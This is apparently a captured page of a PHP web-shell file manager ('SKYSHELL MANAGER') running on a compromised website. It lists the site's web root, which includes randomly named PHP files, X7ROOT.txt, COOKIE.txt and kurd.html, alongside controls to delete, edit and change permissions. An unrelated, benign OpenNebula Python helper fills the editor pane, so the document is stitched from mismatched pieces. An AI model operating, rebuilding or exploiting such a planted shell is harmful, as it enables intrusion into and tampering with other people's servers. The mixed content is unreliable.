📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: helpers.py
# Copyright 2018 www.privaz.io Valletech AB # Copyright 2002-2024, OpenNebula Project, OpenNebula Systems # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from . import OneException from . import MARKETPLACEAPP_STATES, MARKETPLACEAPP_TYPES from base64 import b64decode class OneHelperException(OneException): pass # Helpers implementation # This methods are non primitive XMLRPC methods, they can be implemented as a # series of calls to primitive XMLRPC methods, however they are called in the # exact same way as XMLRPC method # They are implemented as standalone functions that take the XMLRPC server as first parameter # they need to be registered in the XMLRPC server constructor def marketapp_export(one, appid, dsid=None, name=None, vmtemplate_name=None): ''' Exports a market app to a suitable OpenNebula object :param one: the XMLRPC server :param appid: id of the marketplace app :param dsid: id of the datastore to save images, if not provided the datastore named "default" will be used. :param name: name of the new object, if not provided the same name as the App will be used :param vmtemplate_name: name for the VM Template, if the app has one. :return: a dictionary with the ID of the new Image as image and the ID of the new associated template as vmtemplate. If no template has been defined, it will return -1. ''' ret= { "image": -1, "vmtemplate": -1 } # find out the datastore if not dsid: datastores = one.datastorepool.info() for ds in datastores.DATASTORE: if ds.NAME == "default": dsid = ds.ID break if not dsid: raise OneHelperException("Datastore was not provided and could not find the defaultone") # get the application app = one.marketapp.info(appid) if app.STATE != MARKETPLACEAPP_STATES.READY: raise OneHelperException("Application is not in READY state") if app.TYPE == MARKETPLACEAPP_TYPES.IMAGE: if app.APPTEMPLATE64: templ=b64decode(app.APPTEMPLATE64).decode() else: templ="" if not name: name = app.NAME templ+='''\nNAME="%s"\nFROM_APP="%d"''' % (name,app.ID) ret['image'] = one.image.allocate(templ,dsid) if 'VMTEMPLATE64' in app.TEMPLATE: vmtempl = b64decode(app.TEMPLATE['VMTEMPLATE64']).decode() if not vmtemplate_name: vmtemplate_name = app.NAME vmtempl += '''\nNAME="%s"\nDISK=[ IMAGE_ID = %d ]''' % (vmtemplate_name, ret['image']) ret['vmtemplate'] = one.template.allocate(vmtempl) else: raise OneHelperException('App type %s not supported' % MARKETPLACEAPP_TYPES(app.TYPE).name) return ret
Save